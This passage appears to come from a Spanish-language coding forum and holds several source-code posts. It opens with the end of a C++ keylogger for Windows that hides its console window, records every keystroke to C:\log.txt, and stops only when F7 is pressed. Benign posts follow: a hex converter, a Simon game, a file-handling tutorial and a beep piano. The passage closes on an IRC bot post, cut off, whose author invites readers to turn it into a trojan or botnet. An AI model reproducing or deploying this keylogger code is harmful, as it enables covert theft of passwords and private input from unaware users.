log.open("C:\\log.txt", ofstream::out);

//SI ocurre algun error con el archivo
if(log.fail()){
cout << "Error al abrir archivo log.txt en directorio raiz" << endl;
}

//Ocultamos la ventanita (consola)
HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(ocultar,NULL);

//Inicia el ciclo
while(aprete){

//Cuando se apriete una delas teclas, escribimos en el archivo de texto la tecla pulsada...
if (GetAsyncKeyState(VK_SPACE) == -32767){
log << " ";
}

if (GetAsyncKeyState('A') == -32767){
log << "A";
}

if (GetAsyncKeyState('B') == -32767){
log << "B";
}

if (GetAsyncKeyState('C') == -32767){
log << "C";
}

if (GetAsyncKeyState('D') == -32767){
log << "D";
}

if (GetAsyncKeyState('E') == -32767){
log << "E";
}

if (GetAsyncKeyState('F') == -32767){
log << "F";
}

if (GetAsyncKeyState('G') == -32767){
log << "G";
}

if (GetAsyncKeyState('H') == -32767){
log << "H";
}

if (GetAsyncKeyState('I') == -32767){
log << "I";
}

if (GetAsyncKeyState('J') == -32767){
log << "J";
}

if (GetAsyncKeyState('K') == -32767){
log << "K";
}

if (GetAsyncKeyState('L') == -32767){
log << "L";
}

if (GetAsyncKeyState('M') == -32767){
log << "M";
}

if (GetAsyncKeyState('N') == -32767){
log << "N";
}

if (GetAsyncKeyState(VK_CAPITAL) == -32767){
log << " Mayus-";
}

if (GetAsyncKeyState(VK_BACK) == -32767){
log << " BACKSPACE ";
}

if (GetAsyncKeyState('O') == -32767){
log << "O";
}

if (GetAsyncKeyState('P') == -32767){
log << "P";
}

if (GetAsyncKeyState('Q') == -32767){
log << "Q";
}

if (GetAsyncKeyState('R') == -32767){
log << "R";
}

if (GetAsyncKeyState('S') == -32767){
log << "S";
}

if (GetAsyncKeyState('T') == -32767){
log << "T";
}

if (GetAsyncKeyState('U') == -32767){
log << "U";
}

if (GetAsyncKeyState('V') == -32767){
log << "V";
}

if (GetAsyncKeyState('W') == -32767){
log << "W";
}

if (GetAsyncKeyState('X') == -32767){
log << "X";
}

if (GetAsyncKeyState('Y') == -32767){
log << "Y";
}

if (GetAsyncKeyState('Z') == -32767){
log << "Z";
}

if (GetAsyncKeyState(VK_RETURN) == -32767){
log << endl;
}

if (GetAsyncKeyState('1') == -32767){
log << "1";
}

if (GetAsyncKeyState('2') == -32767){
log << "2";
}

if (GetAsyncKeyState('3') == -32767){
log << "3";
}

if (GetAsyncKeyState('4') == -32767){
log << "4";
}

if (GetAsyncKeyState('5') == -32767){
log << "5";
}

if (GetAsyncKeyState('6') == -32767){
log << "6";
}

if (GetAsyncKeyState('7') == -32767){
log << "7";
}

if (GetAsyncKeyState('8') == -32767){
log << "8";
}

if (GetAsyncKeyState('9') == -32767){
log << "9";
}

if (GetAsyncKeyState('0') == -32767){
log << "0";
}

if (GetAsyncKeyState(VK_LSHIFT) == -32767){
log << " SHIFT-";
}

if (GetAsyncKeyState(VK_MENU) == -32767){
log << " ALT-";
}

if (GetAsyncKeyState(VK_F7) == -32767){
ShowWindow(ocultar,1); //Si aprietan F7 se detiene el keylogger..
aprete = false;
}
}

//Cerramos el archivo log.txt
log.close();

//Mamonada para salir del programa........
cout << "-----------------------------------------" << endl << "ARCHIVO log.txt CREADO CON EXITO!" << endl;

system("pause");
}


By l00l
#16
Código: c

/**************/
/**Autor: S[e]C */
/**Date : 2009  */
/**************/
#include <stdio.h>
#include <string.h>
#include <conio.h>

int main(void)
{
    int len,i;
    char input[100];
    while(1)
    {
    fprintf(stdout,"\n");
    fprintf(stdout,"Text\t:");
    fscanf(stdin,"%s",&input);
    len=strlen(input);
    fprintf(stdout,"Hex\t:0x");
    for(i=0;i<len;i++)
    {
       fprintf(stdout,"%x",input[i]);
    }
    getch();
    }
    return 0;
}
#17
Códigos Fuentes / [Game] Simon en C++
Febrero 23, 2010, 07:40:31 PM
Aqui les dejo un pequeño juego en C++ que ize hace un tiempo...

Es el conocido SIMON.

Se juega con las teclas:
                ___ ___
               |_7_|_8_|     7- azul    8- rojo
               |_4_|_5_|     4- verde  5- amarillo 

Se podria perfeccionar mucho...

- Deje a medias lo del orden aleatorio para las jugadas y el almacenamiento de records...
Esto sera para version nº2 :)

Aqui los sources:

simon.cpp (archivo principal, contiene la main())
Código: cpp
#include <stdio.h>
#include <iostream>
#include<winbgim.h>
#include<windows.h>
#include<conio.h>
#include<time.h>

#include "presentacion.h"
#include "tablero.h"
using namespace std;


class jugadas:public tablero
{
public:
      jugadas():tablero()
      {
       
      }
      void juego();
      void a1();
      void r2();
      void v3();
      void z4();
      void perdiste();
      int var1;
      int avance;
      int var3;
      void teclado();
      void inicializaAvance();
private:
             
};
void jugadas::perdiste()
{
     outtextxy(300,300,"Perdiste");
     delay(8000);
}
void jugadas::inicializaAvance()
{
    avance=0;
}
void jugadas::a1()
{
     setcolor(CYAN);
     rectangle(200,50,400,250);
     int xBLUE1=201;
     int yBLUE1=51;
     int xBLUE2=399;
     int yBLUE2=249;
     int z1=0;
     while(z1<99)
     {
                 setcolor(CYAN);
                 rectangle(xBLUE1,yBLUE1,xBLUE2,yBLUE2);
                 xBLUE1++;
                 yBLUE1++;
                 xBLUE2--;
                 yBLUE2--;
                 z1++;
                 delay(10);
     }
      tablero::azul();/*
      // la tecla 7 coincide con el azul, su codigo ascii es 55
      // llamo a la variable ta (Tecla Azul)
      int ta=(int)getch();
      if (ta != 55)
      {
             perdiste();
         }*/
}
void jugadas::r2()
{
     setcolor(CYAN);
     rectangle(401,50,600,250);
     int xRED1=401;
     int yRED1=51;
     int xRED2=599;
     int yRED2=249;
     int z3=0;
     while(z3<100)
     {
                 setcolor(CYAN);
                 rectangle(xRED1,yRED1,xRED2,yRED2);
                 xRED1++;
                 yRED1++;
                 xRED2--;
                 yRED2--;
                 z3++;
                 delay(10);
     }
     tablero::rojo();/*
     // la tecla 8 coincide con el rojo, su codigo ascii es 56
      // llamo a la variable tr (Tecla Roja)
      int tr=(int)getch();
      if (tr != 56)
      {
             perdiste();
         }*/
}
void jugadas::v3()
{
     setcolor(CYAN);
     rectangle(200,251,400,450);
     int xGREEN1=201;
     int yGREEN1=252;
     int xGREEN2=399;
     int yGREEN2=449;
     int z2=0;
     while(z2<99)
     {
                 setcolor(CYAN);
                 rectangle(xGREEN1,yGREEN1,xGREEN2,yGREEN2);
                 xGREEN1++;
                 yGREEN1++;
                 xGREEN2--;
                 yGREEN2--;
                 z2++;
                 delay(10);
     }
     tablero::verde(); /*
      // la tecla 4 coincide con el verde, su codigo ascii es 52
      // llamo a la variable tv (Tecla Verde)
      int tv=(int)getch();
      if (tv != 52)
      {
             perdiste();
         }*/
}
void jugadas::z4()
{
     setcolor(CYAN);
     rectangle(401,251,601,450);
     int xYELLOW1=402;
     int yYELLOW1=252;
     int xYELLOW2=600;
     int yYELLOW2=449;
     int z4=0;
     while(z4<99)
     {
                 setcolor(CYAN);
                 rectangle(xYELLOW1,yYELLOW1,xYELLOW2,yYELLOW2);
                 xYELLOW1++;
                 yYELLOW1++;
                 xYELLOW2--;
                 yYELLOW2--;
                 z4++;
                 delay(10);
     }
     tablero::amarillo();
     /*
      // la tecla 5 coincide con el amarillo, su codigo ascii es 53
      // llamo a la variable tz porque llame al metodo z4
      int tz=(int)getch();
      if (tz != 53)
      {
             perdiste();
         }*/
}

void jugadas::juego()
{
     int jugadas[10]={4,2,3,4,1,2,3,4,1,2};
     int jugadas1[10]={2,1,4,2,1,3,2,4,1,2};
     int jugadas2[10]={4,1,4,2,1,4,3,2,3,1};
    int a;
    a=0;
    //int alt=random();
    int alt=0;
    switch (alt)
    {
    case 0:
                for (var1=0; var1<=avance;)
                {
                    if (jugadas[a]==1)
                    {
                       a1();
                    }
                    if (jugadas[a]==2)
                    {
                       r2();
                    }
                    if (jugadas[a]==3)
                    {
                       v3();
                    }
                    if (jugadas[a]==4)
                    {
                       z4();
                    }
                    var1++;
                    a++;
                }
                teclado();
}
}
void jugadas::teclado()
{
int jugadas[10]={4,2,3,4,1,2,3,4,1,2};
int c;
c=0;
int contador;
contador=0;
fflush(stdin);
for (contador=0; contador<=avance;)
                     {
                                 int tecla=(int)getch();
                                 printf("%d",tecla);
                                 if (tecla==55) // 7 ascii 55
                                 {
                                                if (jugadas[c]!=1)
                                                {
                                                 perdiste();
                                                 }
                                 }
                                 if (tecla==56) // 8 ascii 56
                                 {
                                                if (jugadas[c]!=2)
                                                {
                                                 perdiste();
                                                 }
                                 }
                                 if (tecla==52) // 4 ascii 52
                                 {
                                                if (jugadas[c]!=3)
                                                {
                                                perdiste();
                                                 }
                                 }
                                 if (tecla==53) // 5 ascii 53
                                 {
                                                if (jugadas[c]!=4)
                                                {
                                                 perdiste();
                                                 }
                                 }
                                 contador++;
                                 c++;
                                 
                       }
                       avance++;
                       juego();
                       
}


int main()
{
srand(time (NULL));
presentacion pantalla;
pantalla.titulo();
pantalla.persiana();
tablero cuadros;
cuadros.limpiar();
cuadros.azul();
cuadros.rojo();
cuadros.verde();
cuadros.amarillo();
jugadas niveles;
niveles.inicializaAvance();
niveles.juego();
}


presentacion.h
Código: cpp
class presentacion
{
      public:
             presentacion();
             void persiana();
             void titulo();
      private:
              int coordenadaXpantalla;
              int coordenadaYpantalla;
      };
presentacion::presentacion()
{
      coordenadaXpantalla=800;
      coordenadaYpantalla=600;
      initwindow(coordenadaXpantalla,coordenadaYpantalla);
}
void presentacion::persiana()
{
     setcolor(BLUE);
     int xBLUE=0;
     int yBLUE=0;
     int z4=0;
     while(z4<100)
     {
                while(xBLUE<coordenadaXpantalla)
                {
                                putpixel(xBLUE,yBLUE,BLUE);
                                xBLUE++;
                }
     z4++;
     yBLUE++;
     xBLUE=0;
     delay(5);
     }
     Beep(100,100);
     setcolor(RED);
     int xRED=0;
     int yRED=100;
     int z3=0;
     while(z3<100)
     {
                while(xRED<coordenadaXpantalla)
                {
                                putpixel(xRED,yRED,RED);
                                xRED++;
                }
     z3++;
     yRED++;
     xRED=0;
     delay(5);
     }
     Beep(200,100);
     setcolor(GREEN);
     int xGREEN=0;
     int yGREEN=400;
     int z2=0;
     while(z2<100)
     {
                while(xGREEN<coordenadaXpantalla)
                {
                                putpixel(xGREEN,yGREEN,GREEN);
                                xGREEN++;
                }
     z2++;
     yGREEN++;
     xGREEN=0;
     delay(5);
     }
     Beep(300,100);
     setcolor(YELLOW);
     int xYELLOW=0;
     int yYELLOW=500;
     int z1=0;
     while(z1<coordenadaYpantalla)
     {
                while(xYELLOW<coordenadaXpantalla)
                {
                                putpixel(xYELLOW,yYELLOW,YELLOW);
                                xYELLOW++;
                }
     z1++;
     yYELLOW++;
     xYELLOW=0;
     delay(5);
     }
     Beep(500,100);
     settextstyle(9,0,3); //(estilo,forma,tamaño)
     outtextxy(300,550,"Pulsa una tecla para continuar");
     int continuar=(int)getch();
     fflush(stdin);
}
void presentacion::titulo()
{
     // TEXTO DE SIMON
     setcolor(WHITE);
     line(470,230,790,230);
     setcolor(CYAN);
     line(50,230,450,230);
     outtextxy(470,250,"Videojuego creado en C++ (using winbgim)");
     outtextxy(470,270,"Code posteado en e-root.org");
     outtextxy(470,290,"Por ---- Endif");
     
     setcolor(BLUE);
     int auxr;
     int auxr1=610;
     int auxr2=320;
     int auxr3=630;
     int auxr4=340;
     for (auxr=0; auxr<11; auxr++)
     {
         rectangle(auxr1,auxr2,auxr3,auxr4);
         auxr1++;
         auxr2++;
         auxr3--;
         auxr4--;
     }
     setcolor(RED);
     int auxb;
     int auxb1=631;
     int auxb2=320;
     int auxb3=651;
     int auxb4=340;
     for (auxb=0; auxb<11; auxb++)
     {
         rectangle(auxb1,auxb2,auxb3,auxb4);
         auxb1++;
         auxb2++;
         auxb3--;
         auxb4--;
     }     
     setcolor(GREEN);
     int auxg;
     int auxg1=610;
     int auxg2=341;
     int auxg3=630;
     int auxg4=361;
     for (auxg=0; auxg<11; auxg++)
     {
         rectangle(auxg1,auxg2,auxg3,auxg4);
         auxg1++;
         auxg2++;
         auxg3--;
         auxg4--;
     }
     setcolor(YELLOW);
     int auxy;
     int auxy1=631;
     int auxy2=341;
     int auxy3=651;
     int auxy4=361;
     for (auxy=0; auxy<11; auxy++)
     {
         rectangle(auxy1,auxy2,auxy3,auxy4);
         auxy1++;
         auxy2++;
         auxy3--;
         auxy4--;
     }
     setcolor(WHITE);
     rectangle(610,320,651,361);
     // LETRA S
     setcolor(WHITE);
     rectangle(50,250,170,270);
     int s1=51;
     int s2=251;
     int s3=169;
     int s4=269;
     int s5;
     for (s5=0; s5<10; s5++)
     {
         rectangle(s1,s2,s3,s4);
         s1++;
         s2++;
         s3--;
         s4--;
     }
     rectangle(50,270,70,300);
     int s6=51;
     int s7=271;
     int s8=69;
     int s9=299;
     int s10;
     for (s10=0; s10<10; s10++)
     {
         rectangle(s6,s7,s8,s9);
         s6++;
         s7++;
         s8--;
         s9--;
     }
     rectangle(50,300,170,320);
     int s11=51;
     int s12=301;
     int s13=169;
     int s14=319;
     int s15;
     for (s15=0; s15<10; s15++)
     {
         rectangle(s11,s12,s13,s14);
         s11++;
         s12++;
         s13--;
         s14--;
     }
     rectangle(150,320,170,350);
     int s16=151;
     int s17=321;
     int s18=169;
     int s19=349;
     int s20;
     for (s20=0; s20<10; s20++)
     {
         rectangle(s16,s17,s18,s19);
         s16++;
         s17++;
         s18--;
         s19--;
     }
     rectangle(50,350,170,370);
     int s25=51;
     int s21=351;
     int s22=169;
     int s23=369;
     int s24;
     for (s24=0; s24<10; s24++)
     {
         rectangle(s25,s21,s22,s23);
         s25++;
         s21++;
         s22--;
         s23--;
     }
     // letra I
     setcolor(WHITE);
     rectangle(180,250,200,370);
     int i1=181;
     int i2=251;
     int i3=199;
     int i4=369;
     int i5;
     for (i5=0; i5<10; i5++)
     {
         rectangle(i1,i2,i3,i4);
         i1++;
         i2++;
         i3--;
         i4--;
     }
     // letra M
     setcolor(WHITE);
     rectangle(210,250,230,370);
     int i6=211;
     int i7=251;
     int i8=229;
     int i9=369;
     int i10;
     for (i10=0; i10<10; i10++)
     {
         rectangle(i6,i7,i8,i9);
         i6++;
         i7++;
         i8--;
         i9--;
     }
     rectangle(250,250,270,370);
     int i11=251;
     int i12=251;
     int i13=269;
     int i14=369;
     int i15;
     for (i15=0; i15<10; i15++)
     {
         rectangle(i11,i12,i13,i14);
         i11++;
         i12++;
         i13--;
         i14--;
     }
     rectangle(290,250,310,370);
     int i16=291;
     int i17=251;
     int i18=309;
     int i19=369;
     int i20;
     for (i20=0; i20<10; i20++)
     {
         rectangle(i16,i17,i18,i19);
         i16++;
         i17++;
         i18--;
         i19--;
     }
     rectangle(210,250,310,270);
     int i21=211;
     int i22=251;
     int i23=309;
     int i24=269;
     int i25;
     for (i25=0; i25<10; i25++)
     {
         rectangle(i21,i22,i23,i24);
         i21++;
         i22++;
         i23--;
         i24--;
     }
     //LA O
     setcolor(WHITE);
     rectangle(320,250,380,370);
     int o1=321;
     int o2=251;
     int o3=379;
     int o4=369;
     int o5;
     for (o5=0; o5<20; o5++)
     {
         rectangle(o1,o2,o3,o4);
         o1++;
         o2++;
         o3--;
         o4--;
     }
     //la n
     rectangle(390,250,410,370);
     int n1=391;
     int n2=251;
     int n3=409;
     int n4=369;
     int n5;
     for (n5=0; n5<10; n5++)
     {
         rectangle(n1,n2,n3,n4);
         n1++;
         n2++;
         n3--;
         n4--;
     }
    rectangle(430,250,450,370);
     int n6=431;
     int n7=251;
     int n8=449;
     int n9=369;
     int n10;
     for (n10=0; n10<10; n10++)
     {
         rectangle(n6,n7,n8,n9);
         n6++;
         n7++;
         n8--;
         n9--;
     }
     rectangle(390,250,450,270);
     int n11=391;
     int n12=251;
     int n13=449;
     int n14=269;
     int n15;
     for (n15=0; n15<10; n15++)
     {
         rectangle(n11,n12,n13,n14);
         n11++;
         n12++;
         n13--;
         n14--;
     }
}


tablero.h
Código: cpp
class tablero
{
      public:
             tablero();
             void azul();
             void verde();
             void rojo();
             void amarillo();
             void limpiar();
      private:
             
      };
     
tablero::tablero()
{
                  int nada;
}

void tablero::limpiar()
{
// limpiamos la presentacion
     setcolor(BLACK);
     int xlimp=0;
     int ylimp=0;
     int limp=0;
     while(limp<600)
     {
                while(xlimp<800)
                {
                                putpixel(xlimp,ylimp,BLACK);
                                xlimp++;
                }
     limp++;
     ylimp++;
     xlimp=0;
     delay(5);
     }
}

void tablero::azul()
{
// cuadro AZUL
     setcolor(BLUE);
     rectangle(200,50,400,250);
     int xBLUE1=201;
     int yBLUE1=51;
     int xBLUE2=399;
     int yBLUE2=249;
     int z1=0;
     while(z1<99)
     {
                 setcolor(BLUE);
                 rectangle(xBLUE1,yBLUE1,xBLUE2,yBLUE2);
                 xBLUE1++;
                 yBLUE1++;
                 xBLUE2--;
                 yBLUE2--;
                 z1++;
                 delay(10);
     }
}
void tablero::verde()
{
// cuadros VERDE
     setcolor(GREEN);
     rectangle(200,251,400,450);
     int xGREEN1=201;
     int yGREEN1=252;
     int xGREEN2=399;
     int yGREEN2=449;
     int z2=0;
     while(z2<99)
     {
                 setcolor(GREEN);
                 rectangle(xGREEN1,yGREEN1,xGREEN2,yGREEN2);
                 xGREEN1++;
                 yGREEN1++;
                 xGREEN2--;
                 yGREEN2--;
                 z2++;
                 delay(10);
     }
}

void tablero::rojo()
{
// cuadros ROJO
     setcolor(RED);
     rectangle(401,50,600,250);
     int xRED1=401;
     int yRED1=51;
     int xRED2=599;
     int yRED2=249;
     int z3=0;
     while(z3<100)
     {
                 setcolor(RED);
                 rectangle(xRED1,yRED1,xRED2,yRED2);
                 xRED1++;
                 yRED1++;
                 xRED2--;
                 yRED2--;
                 z3++;
                 delay(10);
     }
}

void tablero::amarillo()
{     
// cuadros AMARILLO
     setcolor(YELLOW);
     rectangle(401,251,601,450);
     int xYELLOW1=402;
     int yYELLOW1=252;
     int xYELLOW2=600;
     int yYELLOW2=449;
     int z4=0;
     while(z4<99)
     {
                 setcolor(YELLOW);
                 rectangle(xYELLOW1,yYELLOW1,xYELLOW2,yYELLOW2);
                 xYELLOW1++;
                 yYELLOW1++;
                 xYELLOW2--;
                 yYELLOW2--;
                 z4++;
                 delay(10);
     }
}


Si tienen algun problema me dicen!

Espero que les sirva de algo :P

Autor: Radón
#18
C / C++ / Introducción al manejo de archivos en C!
Febrero 23, 2010, 07:36:43 PM
Bueno primero k nada unos pequeños apuntes:

Como declarar un fichero:


Código: c
FILE * nombre_del_archivo;


como abrir un fichero:

Código: c
fichero = fopen(nombre_del_archivo, "modo_de_apertura");


Ojo
Donde:

nombre_del_archivo = eso xD el nombre del archivo ;)
modo_apertura        =  es una de las siguientes opciones:


Citarw         crea un fichero de escritura. Si ya existe lo crea de nuevo.
w+       crea un fichero de lectura y escritura. Si ya existe lo crea de nuevo.
a         abre o crea un fichero para añadir datos al final del mismo.
a+       abre o crea un fichero para leer y añadir datos al final del mismo.
r          abre un fichero de lectura.
r+        abre un fichero de lectura y escritura.


como cerrar un fichero:


simplemente aremos:

Código: c
 fclose (fichero);


como escribir en mi fichero:
Código: c

fputs(variable_o_texto, nombre_archivo);


y eso por ahora (despacio por las piedras dice mi vieja

___________________________________________________________________


ya sabemos lo basico(muy basico, mas adelante veremos mas) en conceptos para el manejo de ficheros,
ahora veamos un ejemplo...


Código: c
#include <stdio.h>

main()
{
       FILE *hola;
       char cad[15]="Hola mundo";
       if (!(hola=fopen("datos.txt","w")))
       {
              printf("Error al abrir el archivo");
              exit(0);
       }
       else
       {
              fputs(cad,hola);
              fclose(hola);
       }
}


esto lo k hace es simplemente declarar una variable como cadena de caracteres y luego la imprime en el archivo
usando fputs.


Bueno eso seria todo por ahora

Saludos!
#19
Códigos Fuentes / Sencillo PIANO
Febrero 23, 2010, 07:35:59 PM
Aqui les dejo un sencillo programa en C que simula un piano de 7 teclas coincidentes con el do, re, mi, fa, sol, la, si.

Para los sonidos empleo los beep del PC.

codigo:
Código: c
#include <winbgim.h>
#include <iostream>
#include <math.h>
#include <windows.h>

/* DEFINICION DE LAS TECLAS
              NOMENCLATURA: TeclaColor -> ejemplo: TAZUL
              SETFILLSTYLE: (tipo, color)
              BAR (X inicial, Y inicial, X final, Y final
              BEEP (frecuencia en Herzios, Duracion en Milisegundos*/
             
#define temp 500 //Duracion en milisegundos de las notas
#define tneg 150 //longitud de las teclas negras

#define Si setfillstyle(1,BLANCO);bar(600,0,698,300);setfillstyle(1,NEGRO);bar(600,0,610,tneg);settextstyle(5,0,4);outtextxy(633,305,"si");//Beep(800,temp);
#define La setfillstyle(1,BLANCO);bar(500,0,598,300);setfillstyle(1,NEGRO);bar(500,0,510,tneg);bar(588,0,598,tneg);settextstyle(5,0,4);outtextxy(530,305,"la");//Beep(704,temp);
#define Sol setfillstyle(1,BLANCO);bar(400,0,498,300);setfillstyle(1,NEGRO);bar(488,0,498,tneg);bar(400,0,410,tneg);settextstyle(5,0,4);outtextxy(430,305,"sol");//Beep(660,temp);
#define Fa setfillstyle(1,BLANCO);bar(300,0,398,300);setfillstyle(1,NEGRO);bar(388,0,398,tneg);bar(300,0,310,tneg);settextstyle(5,0,4);outtextxy(330,305,"Fa");//Beep(594,temp);
#define Mi setfillstyle(1,BLANCO);bar(200,0,298,300);setfillstyle(1,NEGRO);bar(200,0,210,tneg);bar(288,0,298,tneg);settextstyle(5,0,4);outtextxy(230,305,"mi");//Beep(528,temp);
#define Re setfillstyle(1,BLANCO);bar(100,0,198,300);setfillstyle(1,NEGRO);bar(188,0,198,tneg);bar(100,0,110,tneg);settextstyle(5,0,4);outtextxy(130,305,"re");//Beep(495,temp);
#define Do setfillstyle(1,BLANCO);bar(0,0,98,300);setfillstyle(1,NEGRO);bar(88,0,98,tneg);settextstyle(5,0,4);outtextxy(30,305,"do");//Beep(420,temp);

/* DEFINICION DE LOS COLORES */
#define AZUL 1
#define VERDE 2
#define ROJO 4
#define MAGENTA 5
#define MARRON 6
#define GRIS 7
#define VERDECLARO 10
#define AMARILLO 14
#define BLANCO 15
#define NEGRO 0

/*Sonidos*/
#define si Beep(800,temp);
#define la Beep(704,temp);
#define sol Beep(660,temp);
#define fa Beep(594,temp);
#define mi Beep(528,temp);
#define re Beep(495,temp);
#define doo Beep(450,temp);


/* ############################################################################
   FUNCIONES                                                                 */

void IniciarWinbgim(); // inicia la pantalla de la WINBGIM
void Menu();
void Inicio();
void Juego();
void Instrucciones();
void Open();
void Autor();
void Bye();

/* ############################################################################
   CUERPOS DE LAS FUNCIONES                                                  */

void IniciarWinbgim()
{
     initwindow(698,400); // abre la pantalla de la WINBGIM a x=698, y=600
}

void Menu()
{
     setfillstyle(1,NEGRO);bar(0,0,698,400);
     setfillstyle(4,BLANCO);bar(0,0,698,100);
     setfillstyle(5,BLANCO);bar(0,150,698,250);
     setcolor(ROJO);
     settextstyle(2,0,15);
     outtextxy(20,100,"BepPiano");
     setcolor(BLANCO);
     settextstyle(1,0,1);
     outtextxy(280,280,"1- Tocar"); // ascii 49
     outtextxy(280,310,"2- Instrucciones"); // ascii 50
     outtextxy(280,340,"3- Autor"); // ascii 51
     int aux=0;
     while (aux==0)
     {
     int menu=(int)getch();
     //printf("%d",menu);
     switch (menu)
     {
            case 49:
                 Inicio();
                 aux=1;
            case 50:
                 Instrucciones();
                 aux=1;
            case 51:
                 Autor();
                 aux=1;
            case 27:
                 Bye();
                 aux=1;
     }
     }
}

void Open()
{
     // variables necesarias para el rectangulo blanco en apertura de la presentacion
     int x1=359;
     int y1=200;
     int x2=359;
     int y2=200;
     while (x1>=0) //bucle para aumentar las coordenadas del rectangulo
     {
           setcolor(BLANCO);
           rectangle(x1,y1,x2,y2);
           x1--;
           x2++;
           y1--;
           y2++;
           delay (1);
     }
}
void Inicio()
{
     
     // barrido negro para borrar pantalla y poner las teclas
     int lx1=0;
     int ly1=0;
     int ly2=400;
     while (lx1<=698)
     {
           setcolor(NEGRO);
           line(lx1,ly1,lx1,ly2);
           lx1++;
           delay(1);
           while(lx1==98)
           {
                         Do;
                         doo;
                         break;
           }
           while(lx1==198)
           {
                         Re;
                         re;
                         break;
           }
           while(lx1==298)
           {
                         Mi;
                         mi;
                         break;
           }
           while(lx1==398)
           {
                         Fa;
                         fa;
                         break;
           }
           while(lx1==498)
           {
                         Sol;
                         sol;
                         break;
           }
           while(lx1==598)
           {
                         La;
                         la;
                         break;
           }
           while(lx1==698)
           {
                         Si;
                         si;
                         break;
           }
     }
     Juego();
}

void Juego()
{
     int melodia[99];
     int c,t; // c es el total de teclas que puedes pulsar y t el tiempo que
              //permanecen los textos de las notas en pantalla
     t=200;
     for (c=0; c<888; c++)
     {
     int tecla=(int)getch();
     //printf("%d",tecla);
     switch (tecla)
            {
            case 97: // tecla A nota DO
                 setfillstyle(1,GRIS);bar(0,0,98,300);setfillstyle(1,NEGRO);bar(88,0,98,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(40,320,"do");
                 doo;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(0,0,98,300);setfillstyle(1,NEGRO);bar(88,0,98,tneg);
                 setcolor(NEGRO);
                 outtextxy(40,320,"do");
                 break;
            case 115:
                 setfillstyle(1,GRIS);bar(100,0,198,300);setfillstyle(1,NEGRO);bar(188,0,198,tneg);bar(100,0,110,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(140,320,"re");
                 re;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(100,0,198,300);setfillstyle(1,NEGRO);bar(188,0,198,tneg);bar(100,0,110,tneg);
                 setcolor(NEGRO);
                 outtextxy(140,320,"re");
                 break;
            case 100:
                 setfillstyle(1,GRIS);bar(200,0,298,300);setfillstyle(1,NEGRO);bar(200,0,210,tneg);bar(288,0,298,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(240,320,"mi");
                 mi;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(200,0,298,300);setfillstyle(1,NEGRO);bar(200,0,210,tneg);bar(288,0,298,tneg);
                 setcolor(NEGRO);
                 outtextxy(240,320,"mi");
                 break;
            case 102:
                 setfillstyle(1,GRIS);bar(300,0,398,300);setfillstyle(1,NEGRO);bar(388,0,398,tneg);bar(300,0,310,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(340,320,"fa");
                 fa;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(300,0,398,300);setfillstyle(1,NEGRO);bar(388,0,398,tneg);bar(300,0,310,tneg);
                 setcolor(NEGRO);
                 outtextxy(340,320,"fa");
                 break;
            case 106:
                 setfillstyle(1,GRIS);bar(400,0,498,300);setfillstyle(1,NEGRO);bar(488,0,498,tneg);bar(400,0,410,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(440,320,"sol");
                 sol;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(400,0,498,300);setfillstyle(1,NEGRO);bar(488,0,498,tneg);bar(400,0,410,tneg);
                 setcolor(NEGRO);
                 outtextxy(440,320,"sol");
                 break;
            case 107:
                 setfillstyle(1,GRIS);bar(500,0,598,300);setfillstyle(1,NEGRO);bar(500,0,510,tneg);bar(588,0,598,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(540,320,"la");
                 la;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(500,0,598,300);setfillstyle(1,NEGRO);bar(500,0,510,tneg);bar(588,0,598,tneg);
                 setcolor(NEGRO);
                 outtextxy(540,320,"la");
                 break;
            case 108:
                 setfillstyle(1,GRIS);bar(600,0,698,300);setfillstyle(1,NEGRO);bar(600,0,610,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(640,320,"si");
                 si;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(600,0,698,300);setfillstyle(1,NEGRO);bar(600,0,610,tneg);
                 setcolor(NEGRO);
                 outtextxy(640,320,"si");
                 break;
            case 27:
                 Bye();
            }
     }
}

void Instrucciones()
{
     setfillstyle(1,NEGRO);bar(0,0,698,400);
     setfillstyle(4,BLANCO);bar(0,0,698,100);
     setfillstyle(5,BLANCO);bar(0,150,698,250);
     setcolor(ROJO);
     settextstyle(2,0,15);
     outtextxy(20,100,"Instrucciones");
     setcolor(BLANCO);
     settextstyle(6,0,1);
     outtextxy(10,280,"El BepPiano consta de 7 teclas correspondientes a las notas");
     outtextxy(10,310,"do, re, mi, fa, sol, la, si. Para hacerlo sonar pulsa las teclas:");
     outtextxy(10,340,"a=do, s=re, d=mi, f=fa, j=sol, k=la, l=si");
     outtextxy(10,370,"La tecla Bloc Mayus a de estar desactivada (en minusculas).");
     int menu=(int)getch();
     Menu();
}

void Autor()
{
     setfillstyle(1,NEGRO);bar(0,0,698,400);
     setfillstyle(4,BLANCO);bar(0,0,698,100);
     setfillstyle(5,BLANCO);bar(0,150,698,250);
     setcolor(ROJO);
     settextstyle(2,0,15);
     outtextxy(20,100,"Autor");
     setcolor(BLANCO);
     settextstyle(6,0,1);
     outtextxy(10,280,"BepPiano.");
     outtextxy(10,310,"Creado por Radon");
     outtextxy(10,340,"Code en e-r00t");
     int menua=(int)getch();
     Menu();
}

void Bye()
{
     Open();
     setfillstyle(1,NEGRO);
     bar(0,0,698,400);
     settextstyle(6,0,1);
     outtextxy(100,200,"Adios!!!.");
     delay(800);
     exit(-1);
}

int main()
{
    IniciarWinbgim();
    Menu();
    return 0;
}



esta compilado con el devc++

Autor: Radón
#20
Códigos Fuentes / [C] Irc-Bot Simple
Febrero 23, 2010, 07:34:10 PM
Se podria decir que esta en face beta de la beta =P ... solo conecta al servidor y canal indicado... se deben modificar los datos en el codigo fuente para otro servidor... solo lo dejo como muestra de como realizar la conexion ... ^-^ , haber si alguien se anima a darle propiedades de troyano u botnet jeje...

Código: c
/************************/
